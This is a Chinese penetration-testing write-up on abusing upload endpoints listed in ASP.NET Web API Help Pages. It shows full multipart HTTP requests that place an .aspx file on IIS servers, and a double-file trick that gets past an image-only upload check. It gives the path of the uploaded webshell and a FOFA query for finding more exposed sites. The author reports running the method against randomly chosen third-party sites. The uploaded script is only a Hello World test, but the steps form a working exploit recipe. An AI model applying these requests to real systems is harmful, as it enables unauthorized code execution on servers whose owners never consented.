利用ASP.NET Web API Help Page文件上传

免责说明:

由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我会立即删除并致歉,谢谢!

0x0前言

前段时间在一次攻防演练中发现有几个资产目标使用的是ASP.NET Web API,当时以为是一个简单的未授权漏洞,后面想着可不可以利用帮助文档中的upload上传接口,对数据包进行一个简单的构造进行一个文件上传呢,于是产生了这篇文章

0x1关于ASP.NET Web API

根据Microsoft官方文档给出的解释如下: The ASP.NET Web API Help Page automatically generates help page content for the web APIs on your site. Visitors to your help page can use this content to learn how to call your web APIs. Everything generated by the help page is fully customizable using ASP.NET MVC and Razor. ASP.NET Web API Help Page is a great addition to any ASP.NET Web API project.

简单来说就是: ASP.NET Web API 帮助页面是任何 ASP.NET Web API 项目的绝佳补充

那么创建ASP.NET Web API 创建帮助页面有什么用呢?根据Microsoft给出的解释如下: When you create a web API, it is often useful to create a help page, so that other developers will know how to call your API. You could create all of the documentation manually, but it is better to autogenerate as much as possible. To make this task easier, ASP.NET Web API provides a library for auto-generating help pages at run time.
最后得到的界面如下

又或者是如下

0x2寻找突破口

我们此次需要构造的是文件上传包,我们全局搜索upload、上传、文件,file等相关字样

可以看到如图所示我们找到了相关的字样

根据文档提示:我们可以看出此处文档上传构造方式也比较简单,那么我们接下来就要进行一个post参数的构造,手工构造比较麻烦,这时候我想起了开发者常用的一个工具postman,关于postman,我在这里也简单进行一个介绍: Postman是一个接口测试工具,在做接口测试的时候,Postman相当于一个客户端,它可以模拟用户发起的各类HTTP请求,将请求数据发送至服务端,获取对应的响应结果, 从而验证响应中的结果数据是否和预期值相匹配;并确保开发人员能够及时处理接口中的bug,进而保证产品上线之后的稳定性和安全性。 它主要是用来模拟各种HTTP请求的(如:get/post/delete/put..等等),Postman与浏览器的区别在于有的浏览器不能输出Json格式,而Postman更直观接口返回的结果。

0X3开始构造

关于如何使用,我这里引用了一遍博主的文章文章地址如下

https://blog.csdn.net/weixin_48421613/article/details/118356645

最后选择send发送

可以看出我们此时的文件已经上传成功,但是路径找不到先简单fuzz一波

经过简单的fuzz我得到了一个叫UpLoadFiles路径

这不得不佩服我的字典的强大,当然也归功于平时的归纳总结

http://192.168.22.23/UpLoadFiles/20220907112814test11.aspx

通过对postman代理的设置

我们抓包看一下这个数据包的构成

POST /xxxx/ImgFormUpload HTTP/1.1
User-Agent: PostmanRuntime/7.29.2
Accept: */*
Postman-Token: xxxxxxxxxxxxx
Host: 192.168.22.23
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------997110380267407431328989
Content-Length: 255

----------------------------997110380267407431328989
Content-Disposition: form-data; name=""; filename="test11.aspx"
Content-Type: application/octet-stream

<% response.write ("Hello World")%> 
----------------------------997110380267407431328989--

用burp重放一下

这不得思考一个问题?这次是路径是我自己fuzz出来的,有没有其他的接口能直接返回路径呢?

0x4寻找其他接口

经过一番的寻找,我找到了一处

发现这里根本只能上传图片

尝试上传图片试一下

可以看出上传图片返回了路径,想办法绕过经过一番实验,我发现可以使用asp站点经常使用的双文件上传绕过

构造如下

此时的数据包如下

POST /xxxxx/UpLoadImgToNews HTTP/1.1
User-Agent: PostmanRuntime/7.29.2
Accept: */*
Postman-Token: xxxxxxxxxxxxxxx
Host: 192.168.22.23
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------747868501381474511362162
Content-Length: 6482

----------------------------747868501381474511362162
Content-Disposition: form-data; name=""; filename="test11.aspx"
Content-Type: application/octet-stream

<% response.write ("Hello World")%> 
----------------------------747868501381474511362162
Content-Disposition: form-data; name=""; filename="hha.jpg"
Content-Type: image/jpeg

¹6¼Ü‹–íÔã0ØpáaËĵCd®z á¡édXluH#q^É—wfD¼«¯
Š’N Oî¬!UbµesKyìEËr߂èP‘‚ÔàÂÐNê¨!õ­ÒöÑðÊÂ¥_f_ëÚq¹=jà?“&¶^ìŒ
Ru!ö{#füi_øSᏎ/éw
ï;°œôì «¬¦_d¡¤Sȵ!u€C´—ØY¬=ÇøÔ    ¸ŠÏ(ˆ
----------------------------747868501381474511362162--

返回包

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type,Origin, X-Requested-With
Date: Wed, 07 Sep 2022 04:29:16 GMT
Connection: close
Content-Length: 26

"/upload/20220907/hha.jpg"

木马路径:http://192.168.22.23//upload/20220907/test11.aspx

0x5fofa批量搜索

fofa"Web API " && icon_hash="1772087922"

经过随机测试了几个网站发现都可以用此类似的方法进行一个文件上传,有些站点直接返回路径

test1:

postman构造请求

POST /api/Files/PostFiles HTTP/1.1
User-Agent: PostmanRuntime/7.29.2
Accept: */*
Postman-Token: xxxxxxxxxxxxxxx
Host: xxxxxxxxxxx
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------076647936634298195979552
Content-Length: 255

----------------------------076647936634298195979552
Content-Disposition: form-data; name=""; filename="test11.aspx"
Content-Type: application/octet-stream

<% response.write ("Hello World")%> 
----------------------------076647936634298195979552--

0x6最后

总结一下:

0x1:如果网站有鉴权这需要利用其他接口获取管理员token,有的可以,有的不行

0x2:个人感觉这个洞比较鸡肋,因为现在很多网站都做了鉴权处理,一定程度上还需要运气

参考文章

https://blog.csdn.net/weixin_48421613/article/details/118356645

https://docs.microsoft.com/en-us/aspnet/web-api/overview/getting-started-with-aspnet-web-api/creating-api-help-pages

https://zhuanlan.zhihu.com/p/502968186

https://xz.aliyun.com/t/5883

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖